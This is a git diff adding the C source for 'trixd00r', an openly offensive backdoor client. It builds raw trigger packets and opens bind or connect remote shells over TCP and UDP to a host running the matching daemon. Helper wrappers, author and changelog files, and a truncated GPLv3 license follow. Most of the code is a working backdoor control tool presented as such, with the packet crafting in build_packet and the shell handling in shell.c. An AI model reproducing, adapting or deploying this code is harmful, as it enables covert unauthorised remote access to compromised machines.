IPPROTO_UDP; + } +} + + +/* build ip header */ +static void build_ip(packet_t *packet) +{ + packet->ip = (ip_t *) packet->magic_packet; + + /* find the bug :) */ + packet->ip->ver = 5; + packet->ip->ihl = 4; + packet->ip->id = htonl(rand()); + packet->ip->dst.s_addr = inet_addr(packet->host); + packet->ip->ttl = 64; + packet->ip->tos = 0; + packet->ip->off = 0; + packet->ip->p = get_ip_protocol(packet); + packet->ip->len = htons(sizeof(ip_t) + packet->hdrlen + + strlen(packet->payload) + 1); + packet->ip->sum = checksum((unsigned short *) packet->ip, sizeof(ip_t)); + + return; +} + + +/* build tcp packet */ +static void build_tcp(packet_t *packet) +{ + packet->tcp = (tcp_t *) (packet->magic_packet + sizeof(ip_t)); + + packet->tcp->sport = htons(rand()); + packet->tcp->dport = htons(packet->port); + packet->tcp->seq = htonl(rand()); + packet->tcp->ack = 0; + packet->tcp->x2 = 0; + packet->tcp->off = 5; + packet->tcp->flags = get_tcp_flags(packet); + packet->tcp->win = htons(65535); + packet->tcp->sum = 0; + packet->tcp->urp = 0; + + return; +} + + +/* build udp packet */ +static void build_udp(packet_t *packet) +{ + packet->udp = (udp_t *) (packet->magic_packet + sizeof(ip_t)); + + packet->udp->sport = htons(rand()); + packet->udp->dport = htons(packet->port); + packet->udp->len = htons(sizeof(udp_t) + strlen(packet->payload) + 1); + packet->udp->sum = 0; + + return; +} + + +/* send our magic packet */ +void send_packet(packet_t *packet) +{ + xsendto(packet->cfd, packet->magic_packet, sizeof(ip_t) + packet->hdrlen + + strlen(packet->payload) + 1, 0, (struct sockaddr *) &packet->srv, + sizeof(packet->srv)); + xclose(packet->cfd); + + return; +} + + +/* build our magic packet */ +void build_packet(packet_t *packet) +{ + create_rawsock(packet); + build_ip(packet); + + switch (packet->type) { + case _TCP_SYN_TYPE: + case _TCP_ACK_TYPE: + case _TCP_RST_TYPE: + case _TCP_PSH_TYPE: + case _TCP_URG_TYPE: + build_tcp(packet); + break; + case _UDP_TYPE: + build_udp(packet); + break; + } + + fill_sockaddr(packet); + + /* copy magic payload to magic packet - evil c0de i know :( */ + memcpy(&packet->magic_packet[sizeof(ip_t) + packet->hdrlen], + packet->payload, strlen(packet->payload) + 1); + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/src/shell.c b/backdoor/trixd00r/source/client/src/shell.c new file mode 100644 index 0000000..16b1db7 --- /dev/null +++ b/backdoor/trixd00r/source/client/src/shell.c @@ -0,0 +1,303 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- +#include + + +static void sigint_handler(); +static void handle_udp_shell(packet_t *); +static void handle_tcp_shell(int); +static void listen_udp_port(packet_t *); +static void connect_udp_port(packet_t *); +static void listen_tcp_port(packet_t *); +static void connect_tcp_port(packet_t *); + + +/* for SIGINT */ +int user_exit = 0; + + +/* print available shell modes */ +void print_shell_modes() +{ + unsigned char i = 0; + const char *descr[_NUM_SHELL_MODES] = { + TCP_CONN_PORT, TCP_BIND_PORT, UDP_CONN_PORT, UDP_BIND_PORT + }; + + + printf("[+] "BLUE"available shell modes"NORM"\n"); + for (i = 0; i < _NUM_SHELL_MODES; i++) { + printf("--- %u [%s]\n", i, descr[i]); + } + + return; +} + + +/* SIGINT handler */ +static void sigint_handler() +{ + user_exit = 1; + + return; +} + + +/* handle udp shell */ +static void handle_udp_shell(packet_t *packet) +{ + char sbuff[SOCKBUF + 1], rbuff[SOCKBUF + 1]; + pid_t pid = 0; + + + /* parent reads from socket */ + if ((pid = fork()) == 0) { + while (read(packet->cfd, rbuff, sizeof(rbuff)) > 0) { + rbuff[strlen(rbuff) + 1] = 0x00; + fputs(rbuff, stdout); + xmemset(&rbuff, 0x00, sizeof(rbuff)); + } + } + + /* child writes to socket */ + while (fgets(sbuff, sizeof(sbuff), stdin) != NULL) { + sbuff[strlen(sbuff) + 1] = 0x00; + xsendto(packet->cfd, sbuff, strlen(sbuff), 0, + (struct sockaddr *) &packet->srv, packet->len); + xmemset(&sbuff, 0x00, sizeof(sbuff)); + __SEND_EXIT; + } + + return; +} + + +/* handle tcp shell */ +static void handle_tcp_shell(int sockfd) +{ + char sbuff[SOCKBUF], rbuff[SOCKBUF + 1]; + pid_t pid = 0; + ssize_t len = 0; + + + /* parent reads from socket */ + if ((pid = fork()) == 0) { + while (read(sockfd, rbuff, sizeof(rbuff)) > 0) { + rbuff[strlen(rbuff) + 1] = 0x00; + fputs(rbuff, stdout); + xmemset(&rbuff, 0x00, sizeof(rbuff)); + } + } + + /* child writes to socket */ + while (fgets(sbuff, sizeof(sbuff), stdin) != NULL) { + len = write(sockfd, sbuff, strlen(sbuff)); + xmemset(&sbuff, 0x00, sizeof(sbuff)); + } + + return; +} + + +/* listen on udp port */ +static void listen_udp_port(packet_t *packet) +{ + char buff[SOCKBUF]; + const int opt = 1; + + + xmemset(&buff, 0x00, sizeof(buff)); + + /* create listen socket and set SO_REUSEADDR option */ + packet->lfd = xsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + xsetsockopt(packet->lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + + /* fill in sockaddr_in {} */ + xmemset(&packet->srv, 0x00, sizeof(packet->srv)); + packet->srv.sin_family = AF_INET; + packet->srv.sin_addr.s_addr = htonl(INADDR_ANY); + packet->srv.sin_port = htons(packet->port); + packet->len = sizeof(packet->srv); + + /* bind the motherfuckin server to given port now */ + xbind(packet->lfd, (struct sockaddr *) &packet->srv, packet->len); + + /* this crap becuase of UDP and banner read ... belelelele */ + __VERBOSE_GOT_SHELL; + sleep(1); + xsystem("clear"); + recvfrom(packet->cfd, buff, SOCKBUF, 0, (struct sockaddr *) &packet->srv, + &packet->len); + fputs(buff, stdout); + + /* ok let's rock */ + handle_udp_shell(packet); + xclose(packet->lfd); + + return; +} + + +/* connect to udp port */ +static void connect_udp_port(packet_t *packet) +{ + char buff[SOCKBUF]; + + + /* create socket and fill in sockaddr_in {} fotzen */ + packet->cfd = xsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + xmemset(&packet->srv, 0x00, sizeof(packet->srv)); + packet->srv.sin_family = AF_INET; + packet->srv.sin_addr.s_addr = inet_addr(packet->host); + packet->srv.sin_port = htons(packet->port); + packet->len = sizeof(packet->srv); + + __VERBOSE_GOT_SHELL; + + /* this crap because of UDP and banner read ... */ + sleep(1); + xsystem("clear"); + xconnect(packet->cfd, (struct sockaddr *) &packet->srv, packet->len); + xsendto(packet->cfd, "", 1, 0, (struct sockaddr *) &packet->srv, + packet->len); + recvfrom(packet->cfd, buff, SOCKBUF, 0, (struct sockaddr *) &packet->srv, + &packet->len); + fputs(buff, stdout); + + /* ok let's rock */ + handle_udp_shell(packet); + xclose(packet->cfd); + + return; +} + + +/* listen on tcp port */ +static void listen_tcp_port(packet_t *packet) +{ + /* create listen socket and set desired socket option*/ + packet->lfd = xsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + packet->one = 1; + xsetsockopt(packet->lfd, SOL_SOCKET, SO_REUSEADDR, &packet->one, + sizeof(packet->one)); + + /* fill in sockaddr_in struct */ + xmemset(&packet->cli, 0x00, sizeof(packet->cli)); + packet->cli.sin_family = AF_INET; + packet->cli.sin_addr.s_addr = htonl(INADDR_ANY); + packet->cli.sin_port = htons(packet->port); + + /* bind to port and wait for connections */ + xbind(packet->lfd, (struct sockaddr *) &packet->cli, sizeof(packet->cli)); + xlisten(packet->lfd, 1024); + packet->cfd = xaccept(packet->lfd, (struct sockaddr *) NULL, NULL); + + /* handle shell */ + sleep(1); /* i don't know, ask your neighbour */ + __VERBOSE_GOT_SHELL; + sleep(1); + xsystem("clear"); + handle_tcp_shell(packet->cfd); + + /* we are done, so we can close used descriptors */ + xclose(packet->lfd); + xclose(packet->cfd); + + return; +} + + +/* connect to tcp port */ +static void connect_tcp_port(packet_t *packet) +{ + /* create connection socket */ + packet->cfd = xsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + /* fill in sockaddr_in struct */ + xmemset(&packet->srv, 0x00, sizeof(packet->srv)); + packet->srv.sin_family = AF_INET; + packet->srv.sin_addr.s_addr = inet_addr(packet->host); + packet->srv.sin_port = htons(packet->port); + packet->len = sizeof(packet->srv); + + /* connect to trixd00rd */ + sleep(1); /* i don't know, ask my father... */ + xconnect(packet->cfd, (const struct sockaddr *) &packet->srv, + sizeof(packet->srv)); + __VERBOSE_CONNECTED(packet->host, packet->port); + + /* ok, let's handle our shell session */ + __VERBOSE_GOT_SHELL; + sleep(1); + xsystem("clear"); + handle_tcp_shell(packet->cfd); + + /* we are done, so we close used descriptors */ + xclose(packet->cfd); + + return; +} + + +/* get evil shell */ +void get_shell(shell_t *shell) +{ + packet_t *packet = (packet_t *) shell->packet; + + + switch (shell->mode) { + case _TCP_CONN_PORT: + connect_tcp_port(packet); + break; + case _TCP_BIND_PORT: + listen_tcp_port(packet); + break; + case _UDP_CONN_PORT: + xsignal(SIGINT, sigint_handler); + connect_udp_port(packet); + break; + case _UDP_BIND_PORT: + xsignal(SIGINT, sigint_handler); + listen_udp_port(packet); + break; + } + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/src/signals.c b/backdoor/trixd00r/source/client/src/signals.c new file mode 100644 index 0000000..337d3b6 --- /dev/null +++ b/backdoor/trixd00r/source/client/src/signals.c @@ -0,0 +1,101 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- +#include +#include + + +/* signal() predates POSIX, therefore we use wrapper for sigaction(). + * ripped from UNPv1. thx to W. R. STEVENS (R.I.P.) */ +sigfunc *xsignal(int signo, sigfunc *func) +{ + struct sigaction act, oact; + + + act.sa_handler = func; + sigemptyset(&act.sa_mask); + act.sa_flags = 0; + + if (signo == SIGALRM) { + #ifdef SA_INTERRUPT + /* SUN OS */ + act.sa_flags |= SA_INTERRUPT; + #endif + } else { + #ifdef SA_RESTART + /* BSD */ + act.sa_flags |= SA_RESTART; + #endif + } + if (sigaction(signo, &act, &oact) < 0) { + return SIG_ERR; + } + + return oact.sa_handler; +} + + +/* we don't want to have zombies */ +void sig_chld() +{ + pid_t pid = 0; + int stat = 0; + + + if ((pid = waitpid(-1, &stat, WNOHANG)) < 0) { + if (errno != ECHILD) { + print_error(ERR_GEN); + } + } + + return; +} + + +/* we only want to interrupt the connect() - to get EINTR and then assign + * ETIMEDOUT to errno */ +void connect_alarm() +{ + return; +} + + +/* cleanup for SIGINT/SIGTERM */ +void cleanup() +{ + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/src/trixd00r.c b/backdoor/trixd00r/source/client/src/trixd00r.c new file mode 100644 index 0000000..cdbea16 --- /dev/null +++ b/backdoor/trixd00r/source/client/src/trixd00r.c @@ -0,0 +1,106 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- + + +/* let's go... */ +int main(int argc, char *argv[]) +{ + int c = 0; + ctrl_t *ctrl = NULL; + + + /* banner is very important */ + banner(); + check_argc(argc); + ctrl = alloc_structs(); + ctrl = set_ctrl_defaults(ctrl); + + while ((c = getopt(argc, argv, "h:t:s:m:p:vVH")) != -1) { + switch (c) { + case 'h': + check_host(optarg); + ctrl->packet->host = convert_host(optarg); + break; + case 't': + check_pkt_type(ctrl, optarg); + ctrl->packet->type = (unsigned char) ATOI(optarg); + break; + case 's': + check_shell_mode(ctrl, optarg); + ctrl->shell->mode = (unsigned char) ATOI(optarg); + break; + case 'm': + ctrl->packet->payload = optarg; + break; + case 'p': + check_port(ctrl, ATOI(optarg)); + ctrl->packet->port = (uint16_t) ATOI(optarg); + break; + case 'v': + ctrl->verbose = VERBOSE; + break; + case 'V': + puts(VERSION); + __EXIT_SUCCESS; + break; + case 'H': + usage(); + __EXIT_SUCCESS; + break; + default: + __EXIT_FAILURE; + } + } + + /* few checks before we can go on */ + __VERBOSE_ARGS; + check_args(ctrl); + check_uid(ctrl); + + /* install signal handler */ + install_signals(); + + /* let's go */ + start_trixd00r(ctrl); + end_trixd00r(ctrl); + + return 0; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/src/wrapper.c b/backdoor/trixd00r/source/client/src/wrapper.c new file mode 100644 index 0000000..268d4e2 --- /dev/null +++ b/backdoor/trixd00r/source/client/src/wrapper.c @@ -0,0 +1,393 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- + + +/* NOTHING TO SAY ABOUT WRAPPER FUNCTIONS; READ THE RELEVANT MANPAGES */ + +void *xmalloc(size_t size) +{ + void *buff; + + + if ((buff = malloc(size)) == NULL) { + print_error(ERR_GEN); + } + + return buff; +} + + +void *xmemset(void *s, int c, size_t n) +{ + if (!(s = memset(s, c, n))) { + print_error(ERR_GEN); + } + + return s; +} + + +void *xmemcpy(void *dest, const void *src, size_t n) +{ + dest = memcpy(dest, src, n); + + if (dest == NULL) { + print_error(ERR_GEN); + } + + return dest; +} + + +void *alloc_buff(unsigned int size) +{ + void *buff = NULL; + + + buff = xmalloc(size); + buff = xmemset(buff, 0x00, size); + + return buff; +} + + +void xclose(int fd) +{ + int x = 0; + + + x = close(fd); + + if (x != 0) { + print_error(ERR_CLOSE); + } + + return; +} + + +int xdup2(int oldfd, int newfd) +{ + if (dup2(oldfd, newfd) != -1) { + return newfd; + } else { + print_error(ERR_GEN); + } + + return -1; +} + + +void xselect(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, + struct timeval *timeout) +{ + int x = 0; + + + x = select(nfds, readfds, writefds, exceptfds, timeout); + + if (x == -1) { + print_error(ERR_GEN); + } + + return; +} + + +void xpipe(int *pipefd) +{ + int x = 0; + + + x = pipe(pipefd); + + if (x < 0) { + print_error(ERR_GEN); + } + + return; +} + + +struct hostent *xgethostbyname(const char *name) +{ + struct hostent *hp; + + if ((hp = gethostbyname(name)) == NULL) { + print_error(ERR_HOST); + } + + return hp; +} + + +int xsocket(int domain, int type, int protocol) +{ + int sockfd = 0; + + + sockfd = socket(domain, type, protocol); + + if (sockfd == -1) { + print_error(ERR_NET); + } + + return sockfd; +} + + +void xconnect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + int x = 0; + + + x = connect(sockfd, addr, addrlen); + + if (x < 0) { + print_error(ERR_NET); + } + + return; +} + + +void xsendto(int sockfd, const void *buf, size_t len, int flags, + const struct sockaddr *dst, socklen_t addrlen) +{ + ssize_t x = 0; + + + x = sendto(sockfd, buf, len, flags, dst, addrlen); + + if (x == -1) { + print_error(ERR_NET); + } + + return; +} + + +ssize_t xrecv(int sockfd, void *buf, size_t len, int flags) +{ + + ssize_t nreceived = 0; + char *p = buf; + + + while (len > 0) { + nreceived = recv(sockfd, p, len, flags); + if (nreceived < 0 && errno == EINTR) { + continue; + } + if (nreceived <= 0) { + break; + } + len -= nreceived; + p += nreceived; + } + *p = 0x00; + + return nreceived; +} + + +ssize_t xwrite(int sockfd, const void *buff, size_t len) +{ + size_t nleft = 0; + ssize_t nwritten = 0; + const char *ptr = NULL; + + + ptr = buff; + nleft = len; + + while (nleft > 0) { + if ((nwritten = write(sockfd, ptr, nleft)) <= 0) { + if (nwritten < 0 && errno == EINTR) { + nwritten = 0; + } else { + return -1; + } + } + nleft -= nwritten; + ptr += nwritten; + } + + return len; +} + + +ssize_t xread(int sockfd, void *buf, size_t len) +{ + size_t nleft = 0; + ssize_t nread = 0; + char *ptr = NULL; + + + ptr = buf; + nleft = len; + + while (nleft > 0) { + if ((nread = read(sockfd, ptr, nleft)) < 0) { + if (errno == EINTR) { + nread = 0; + } else { + return -1; + } + } else if (nread == 0) { + break; + } + nleft -= nread; + ptr += nread; + } + + return (len - nleft); +} + + +void xsetsockopt(int sockfd, int level, int optname, const void *optval, + socklen_t optlen) +{ + int x = 0; + + + x = setsockopt(sockfd, level, optname, optval, optlen); + + if (x != 0) { + print_error(ERR_NET); + } + + return; +} + + +void xinet_ntop(int af, const void *src, char *dst, socklen_t len) +{ + const char *p = NULL; + + + p = inet_ntop(af, src, dst, len); + + if (p == NULL) { + print_error(ERR_NET); + } + + return; +} + + +void xbind(int sockfd, const struct sockaddr *addr, socklen_t len) +{ + int x = 0; + + + x = bind(sockfd, addr, len); + + if (x != 0) { + print_error(ERR_NET); + } + + return; +} + + +void xlisten(int sockfd, int backlog) +{ + int x = 0; + + + x = listen(sockfd, backlog); + + if (x != 0) { + x = 1; + print_error(ERR_NET); + } + + return; +} + + +int xaccept(int sockfd, struct sockaddr *addr, socklen_t *len) +{ + int x = 0; + + + x = accept(sockfd, addr, len); + + if (x < 0) { + x = 1; + print_error(ERR_NET); + } + + return x; +} + + +char *convert_host(char *host) +{ + static char buff[128]; + struct hostent *hp = NULL; + + + hp = xgethostbyname(host); + + if (hp != NULL) { + host = (char *) inet_ntop(AF_INET, hp->h_addr_list[0], buff, sizeof(buff)); + } + + if (host == NULL) { + print_error(ERR_NET); + } + + return host; +} + + +void xsystem(const char *cmd) +{ + int x = 0; + + + x = system(cmd); + + if (x == -1) { + print_error(ERR_GEN); + } + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/docs/AUTHORS b/backdoor/trixd00r/source/docs/AUTHORS new file mode 100644 index 0000000..94740d1 --- /dev/null +++ b/backdoor/trixd00r/source/docs/AUTHORS @@ -0,0 +1 @@ +noptrix[at]nullsecurity.net - http://www.nullsecurity.net/ diff --git a/backdoor/trixd00r/source/docs/CHANGELOG b/backdoor/trixd00r/source/docs/CHANGELOG new file mode 100644 index 0000000..c371380 --- /dev/null +++ b/backdoor/trixd00r/source/docs/CHANGELOG @@ -0,0 +1 @@ +See docs/TODO file for changes and todo list. diff --git a/backdoor/trixd00r/source/docs/COPYING b/backdoor/trixd00r/source/docs/COPYING new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/backdoor/trixd00r/source/docs/COPYING @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add 